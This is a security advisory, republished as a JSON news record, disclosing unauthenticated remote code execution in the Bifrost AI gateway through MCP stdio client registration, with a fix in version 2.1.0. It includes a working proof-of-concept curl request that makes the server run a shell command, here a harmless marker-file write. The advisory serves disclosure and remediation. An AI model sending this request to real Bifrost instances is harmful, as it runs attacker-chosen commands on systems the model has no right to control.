{"slug": "bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio", "title": "Bifrost is vulnerable to Unauthenticated Remote Code Execution via MCP Stdio Client Registration", "summary": "Bifrost HTTP transport versions before 2.1.0 allow unauthenticated remote code execution through MCP stdio client registration, according to a vulnerability disclosure from the Bifrost project. With the default governance.auth_config.is_enabled=false, a single unauthenticated POST /api/mcp/client starts an attacker-supplied command as the Bifrost process user (appuser on the official image); the flaw was reproduced on maximhq/bifrost v1.6.3, and the 1.6.x line through 1.6.11 and transports/v2.0.0 remain affected. The fix in transports/v2.1.0 (pull request 6757) returns 403 for unauthenticated stdio MCP client registration when dashboard authentication is disabled or unconfigured, and the project advises setting governance.auth_config.is_enabled to true, keeping the management listener off untrusted networks, and rotating virtual keys and provider credentials on any instance that ran with authentication disabled.", "body_md": "## [Summary](#summary)\n\nBifrost is vulnerable to Unauthenticated Remote Code Execution via MCP Stdio Client Registration\n\n## [Component](#component)\n\nBifrost (github.com/maximhq/bifrost/transports)\n\n## [Affected versions](#affected-versions)\n\n< 2.1.0\n\n## [Description](#description)\n\nBifrost registers MCP clients through its management API. A stdio client is a command plus args. Bifrost starts that program in the gateway the moment the client is added. No MCP handshake required.\n\nThe default is governance.auth_config.is_enabled=false. Auth off means every caller is a local admin. One unauthenticated POST /api/mcp/client is enough to run a program as the Bifrost process user (appuser on the official image).\n\nI did this on maximhq/bifrost v1.6.3. The HTTP request may time out. The process is already running. transports/v2.1.0 refuses an unauthenticated stdio registration with 403. transports/v2.0.0 still allows it. The 1.6.x line through 1.6.11 does not contain the fix.\n\n## [PoC](#poc)\n\n**Step 1 - Run Bifrost with management authentication disabled**\n\nStart a Bifrost HTTP transport before 2.1.0 with the default governance.auth_config.is_enabled=false. The management API must be reachable on the host and port you use below (the binary default is localhost:8080):\n\n```\ncurl -fsS http://127.0.0.1:8080/health\n```\n\n**Step 2 - Register a stdio MCP client**\n\nNo authentication header is required. A request timeout is expected while Bifrost waits for an MCP handshake. The timeout does not mean the command failed to start.\n\n```\ncurl --max-time 5 --silent --show-error \\\n  --request POST http://127.0.0.1:8080/api/mcp/client \\\n  --header 'Content-Type: application/json' \\\n  --data '{\n    \"name\": \"rceproof\",\n    \"connection_type\": \"stdio\",\n    \"auth_type\": \"none\",\n    \"stdio_config\": {\n      \"command\": \"/bin/sh\",\n      \"args\": [\"-c\", \"echo PROVEN > /tmp/bifrost-mcp-rce; sleep 60\"]\n    },\n    \"tools_to_execute\": [\"*\"]\n  }' || true\n```\n\n**Step 3 - Confirm the command ran**\n\n```\ncat /tmp/bifrost-mcp-rce\n```\n\nExpected output:\n\n```\nPROVEN\n```\n\nOn 2.1.0 or later, the same POST returns 403 and the marker is not written.\n\n## [Vulnerability Mitigations](#vulnerability-mitigations)\n\nUpgrade Bifrost HTTP transport to 2.1.0 or later. The fix ([https://github.com/maximhq/bifrost/pull/6757](https://github.com/maximhq/bifrost/pull/6757)) returns 403 for unauthenticated stdio MCP client registration when dashboard authentication is disabled or unconfigured. Authenticated admins can still add stdio clients. The 1.6.x line through 1.6.11 and transports/v2.0.0 do not include this change.\n\nUntil you upgrade, set governance.auth_config.is_enabled to true, use strong administrator credentials, and keep the management listener off untrusted networks. Treat any exposed instance that ran with authentication disabled as compromised and rotate virtual keys and provider credentials.", "url": "https://wpnews.pro/news/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio", "canonical_source": "https://research.jfrog.com/vulnerabilities/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio-client-registration-cve-2026-90898/", "published_at": "2026-09-14 00:00:00+00:00", "updated_at": "2026-09-14 10:36:21.040942+00:00", "lang": "en", "topics": ["ai-safety", "ai-agents", "ai-infrastructure", "ai-tools"], "entities": ["Bifrost", "maximhq/bifrost", "Bifrost HTTP transport", "transports/v2.1.0", "transports/v2.0.0", "governance.auth_config.is_enabled", "pull request 6757", "appuser"], "alternates": {"html": "https://wpnews.pro/news/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio", "markdown": "https://wpnews.pro/news/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio.md", "text": "https://wpnews.pro/news/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio.txt", "jsonld": "https://wpnews.pro/news/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio.jsonld"}}